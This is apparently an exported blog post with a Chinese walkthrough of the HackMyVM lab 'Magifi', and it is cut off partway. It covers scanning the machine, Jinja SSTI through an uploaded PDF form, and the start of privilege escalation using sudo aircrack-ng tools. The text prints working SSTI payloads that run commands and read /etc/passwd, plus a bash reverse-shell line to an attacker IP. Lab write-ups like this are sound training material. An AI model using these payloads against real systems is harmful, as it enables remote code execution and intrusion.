{"id":906,"date":"2025-06-22T23:41:12","date_gmt":"2025-06-22T15:41:12","guid":{"rendered":"http:\/\/162.14.82.114\/?p=906"},"modified":"2025-06-22T23:41:12","modified_gmt":"2025-06-22T15:41:12","slug":"hmv-_-magifi","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/906\/06\/22\/2025\/","title":{"rendered":"hmv[-_-]Magifi"},"content":{"rendered":"

Magifi<\/h1>\n

\"image-20250619011206062\"<\/div>
\n
\"image-20250621130714491\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi]\n\u2514\u2500$ rustscan -a $IP -- -sCV\nOpen 192.168.10.100:22\nOpen 192.168.10.100:80\n\nPORT   STATE SERVICE REASON         VERSION\n22\/tcp open  ssh     syn-ack ttl 64 OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   3072 0c:c6:d6:24:1e:5b:9e:66:25:0a:ba:0a:08:0b:18:40 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCihzhvruzjUnXRfyh685PiUN5ItFZ\/V0IHymFDih4nSIcKYrhMIw06oKdfeT3zo4tP14xB3ZrjnI3sEFh9R8LV34dTNhH4cNUtbS\/f0h2inMM35dJc533bNxJtT\/znohcEjYgUP3PSCK3dOuP+CcMrW8z+0QJJE9gbw9DqC5hlCzZwBHJgMvNhP74hBD\/JayHiS8G+K2G4owfXRHBs3LhEXYpHEibAHS\/E1G1j9R2wzTLKoN5Y0JKQ+bLxGbJekcnSl2o6hlAarOQnX1I3G+EFgWexJn\/xABxqEWk9B6NLhhPozoTyi43Xc\/omUF6Cw9jFl2v4z7bABMVVPjlXH748C6tFeRzx6\/mqAv2Ok2+Hzf1iessMzvYs1hnZBqL51gwcmBmMoSovm68d2jEKUwVQxEIsFH5lFGQciyM0rfn6EcA0up6iomAhs2fTA8MsOG6WJWd1Sw2nCTNygrmQ8tZfVGYz8rVaH8MkUENct8IxGN1iqel+9Cmdka9DDb+BMVM=\n|   256 9c:c3:1d:ea:22:04:93:b7:81:dd:f2:96:5d:f0:1f:9b (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBFAZBwooUDLqSK+kKOx+YVnScFejnY3t0q+D4qt3jCOsjP4dJ8Wf9ORNUbHa7CtlrK3WlqluzuRQsXJ10tvyTw8=\n|   256 55:41:15:90:ff:1d:53:88:e7:65:91:4f:fd:cf:49:85 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGM6WqG9CguoVafo9uhRSPqtZG9yR57PD70\/FKDqba9e\n80\/tcp open  http    syn-ack ttl 64 Werkzeug httpd 3.0.4 (Python 3.8.10)\n| http-methods: \n|_  Supported Methods: GET HEAD POST OPTIONS\n|_http-server-header: Werkzeug\/3.0.4 Python\/3.8.10\n|_http-title: Did not follow redirect to http:\/\/hogwarts.htb\nMAC Address: 08:00:27:1D:E9:1F (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html,zip\n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.10.100\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              html,zip,php,txt\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\nError: the server returns a status code that matches the provided options for non existing urls. http:\/\/192.168.10.100\/a37d3a54-77c6-48fc-9438-278d5aef044d => 302 (Length: 225). To continue please exclude the status code or the length<\/code><\/pre>\n
\u6ca1\u4e1c\u897f\u554a\uff1f\u770b\u4e00\u4e0b\u6709\u5565\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi]\n\u2514\u2500$ curl -s http:\/\/$IP\/                                               \n<!doctype html>\n<html lang=en>\n<title>Redirecting...<\/title>\n<h1>Redirecting...<\/h1>\n<p>You should be redirected automatically to the target URL: <a href="http:\/\/hogwarts.htb">http:\/\/hogwarts.htb<\/a>. If not, click the link.<\/code><\/pre>\n
\u6dfb\u52a0 dns\uff1a<\/p>\n
192.168.10.100   hogwarts.htb<\/code><\/pre>\n
\u4f46\u662f\u4fee\u6539\u540e\u8fd8\u662f\u6ca1\u626b\u5230\u4e1c\u897f\u3002\u3002\u3002\u3002<\/p>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
http:\/\/hogwarts.htb\/<\/code><\/pre>\n
\"image-20250621131955485\"<\/div><\/p>\n
\u53ef\u4ee5\u4e0a\u4f20 pdf \u6587\u4ef6\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u4e00\u4e2a\u7a7a\u6587\u4ef6\u8bd5\u8bd5\uff1a<\/p>\n
\"image-20250621132055517\"<\/div><\/p>\n
python SSTI<\/h3>\n
\u5c1d\u8bd5\u4f7f\u7528\u7f51\u7ad9\u7ed9\u7684\u6a21\u677f\u3002<\/p>\n
\"image-20250621132347298\"<\/div><\/p>\n
\u8fd9\u662f\u4e00\u4efd\u970d\u683c\u6c83\u8328\u5b66\u9662\u7684\u7533\u8bf7\u4e66\uff0c\u5c1d\u8bd5\u8f6c\u4e3apdf<\/code>\u8fdb\u884c\u4e0a\u4f20\uff1a<\/p>\n
\"image-20250621132606329\"<\/div><\/p>\n
\u770b\u4e00\u4e0b\u7f51\u7ad9\u7ec4\u6210\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Magifi]\n\u2514\u2500$ whatweb "http:\/\/hogwarts.htb"       \nhttp:\/\/hogwarts.htb [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Werkzeug\/3.0.4 Python\/3.8.10], IP[192.168.10.100], Python[3.8.10], Title[Hogwarts School], Werkzeug[3.0.4]<\/code><\/pre>\n
\u53d1\u73b0\u53ef\u80fd\u662fPython<\/code>\u89e3\u6790\u7684\uff0c\u5c1d\u8bd5SSTI<\/code>\uff1a<\/p>\n
\n
\u76f8\u5173 payload \u53ef\u4ee5\u53c2\u8003\uff1ahttps:\/\/swisskyrepo.github.io\/PayloadsAllTheThings\/Server%20Side%20Template%20Injection\/Python\/<\/a><\/p>\n<\/blockquote>\n
Name: {{7*7}}\nSurname: {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}\nAddress: {{ get_flashed_messages.__globals__.__builtins__.open("\/etc\/passwd").read() }}\nBirthday: {{ cycler.__init__.__globals__.os.popen('whoami').read() }}\nPet breed: [Your Pets Breed]\nPet\u2019s Name: [Your Pets Name]<\/code><\/pre>\n
\u6ce8\u610f\u5904\u7406\u4e00\u4e0b\u5b57\u4f53\u54e6\uff0c\u548c\u6a21\u677f\u4e00\u81f4\uff01\uff08\u683c\u5f0f\u5237\uff09\u7136\u540e\u5bfc\u51fapdf<\/code>\u8fdb\u884c\u4e0a\u4f20\uff1a<\/p>\n
\"image-20250621134358625\"<\/div><\/p>\n
\u53ef\u4ee5\u8fdb\u884c\u6a21\u677f\u6ce8\u5165\uff0c\u5c1d\u8bd5\u53cd\u5f39shell\uff01\uff01\uff01\uff01\u4f46\u662f\u6211\u8fd9\u8fb9\u6267\u884c\u4e86\u534a\u5929\uff0c\u5c31\u662f\u5f39\u4e0d\u8fc7\u6765\uff0c\u6211\u5728\u6363\u9f13\u65f6\u53d1\u73b0\u4e86\u4e00\u4e2a\u6709\u610f\u601d\u7684\u5730\u65b9\uff0c\u6253\u7a7a\u683c\u6362\u884c\u4ee5\u540e\u51fa\u6765\u7684\u4e0d\u662f\u7a7a\u683c\uff0c\u662f\u4e2a\u83ab\u540d\u5176\u5999\u7684\u5360\u4f4d\u7f6e\u7684\u5730\u65b9\uff0c\u6b64\u65f6\u6309\u5220\u9664\u4f1a\u76f4\u63a5\u5220\u6389\u4e0a\u9762\u7684\u5185\u5bb9\u3002\u3002\u3002\u3002\u6240\u4ee5\u54b1\u4eec\u8981\u5c0f\u5fc3\u3002\u6709\u7a7a\u683c\u7684\u5730\u65b9\u4e0d\u8981\u6362\u884c\uff0c\u5426\u5219\u4f1a\u9ed8\u8ba4\u5c06\u4e0a\u4e0b\u4fe9\u76f4\u63a5\u62fc\u5230\u4e00\u8d77\u4f7f\u547d\u4ee4\u5931\u6548\u3002\u3002\u3002\u3002\u65b9\u6cd5\u5f53\u7136\u662f\u6709\u6ef4\uff0c\u7528\u6362\u884c\u5c06\u547d\u4ee4\u622a\u65ad\u5373\u53ef\u6267\u884c\uff0c\u4f46\u662f\u6a21\u677f\u8bbe\u7f6e\u4e86\uff0c\u5c06\u5355\u8bcd\u653e\u5728\u4e00\u8d77\u4e0d\u88ab\u6362\u884c\u622a\u65ad\u6240\u4ee5\u6211\u4eec\u8981\u4eba\u4e3a\u622a\u65ad\u6389\uff0c\u8fd8\u6ca1\u5230\u6362\u884c\u5c31\u7528\u7a7a\u683c\u586b\u5145\u76f4\u5230\u6362\u884c\u3002\u3002\u3002\u3002<\/p>\n
Birthday: {{ cycler.__init__.__globals__.os.popen('bash -c "bash -i >& \/dev\/tcp\/192.168.10.107\/1234 0>&1"').read() }}<\/code><\/pre>\n
\"image-20250621153847685\"<\/div>
\n
\"image-20250621154042398\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
\u65e0\u7ebf\u7f51\u7edc\u6e17\u900f\u6d4b\u8bd5\uff08\u65b9\u6cd5\u4e00\u524d\u7f6e\u64cd\u4f5c\uff09<\/h3>\n
\u4fe1\u606f\u641c\u96c6<\/h4>\n
(remote) harry_potter@MagiFi:\/home\/harry_potter\/Hogwarts_web$ cd ~\n(remote) harry_potter@MagiFi:\/home\/harry_potter$ cat \/etc\/passwd | grep sh | cut -d: -f1\nroot\nfwupd-refresh\nsshd\nrubeus.hagrid\nalbus.dumbledore\nminerva.mcgonagall\ntom.riddle\nharry_potter\n(remote) harry_potter@MagiFi:\/home\/harry_potter$ ls -la\ntotal 28\ndrwxr-xr-x 3 harry_potter harry_potter 4096 Feb  4 10:04 .\ndrwxr-xr-x 7 root         root         4096 Sep 27  2024 ..\nlrwxrwxrwx 1 root         root            9 Sep 27  2024 .bash_history -> \/dev\/null\n-rw-r--r-- 1 harry_potter harry_potter  220 Feb 25  2020 .bash_logout\n-rw-r--r-- 1 harry_potter harry_potter 3771 Feb 25  2020 .bashrc\ndrwxr-xr-x 5 harry_potter harry_potter 4096 Sep 26  2024 Hogwarts_web\n-rw-r--r-- 1 harry_potter harry_potter  807 Feb 25  2020 .profile\n-rw-r--r-- 1 harry_potter harry_potter   43 Feb  4 10:04 user.txt\n(remote) harry_potter@MagiFi:\/home\/harry_potter$ cat user.txt \nhogwarts{ea4bc74f09fb69771165e57b1b215de9}\n(remote) harry_potter@MagiFi:\/home\/harry_potter$ sudo -l\nMatching Defaults entries for harry_potter on MagiFi:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\\:\/snap\/bin\n\nUser harry_potter may run the following commands on MagiFi:\n    (root) NOPASSWD: \/usr\/sbin\/aireplay-ng, \/usr\/sbin\/airmon-ng, \/usr\/sbin\/airodump-ng, \/usr\/bin\/airdecap-ng, \/usr\/bin\/hostapd-mana<\/code><\/pre>\n
\u770b\u4e00\u4e0b\u662f\u4e9b\u5565\u3002\u3002\u3002\u3002\u3002<\/p>\n
\n
\u4e00\u3001\/usr\/sbin\/aireplay-ng<\/code><\/h4>\n
\u529f\u80fd<\/strong>\uff1a\u5c5e\u4e8eAircrack-ng\u5957\u4ef6\uff0c\u7528\u4e8e\u5411\u65e0\u7ebf\u7f51\u7edc\u6ce8\u5165\u6570\u636e\u5305\u4ee5\u751f\u6210\u6d41\u91cf\uff0c\u8f85\u52a9\u7834\u89e3WPA\/WPA2\u5bc6\u94a5\u3002
\n\u200b\u6838\u5fc3\u7528\u9014<\/strong>\u200b\uff1a<\/p>\n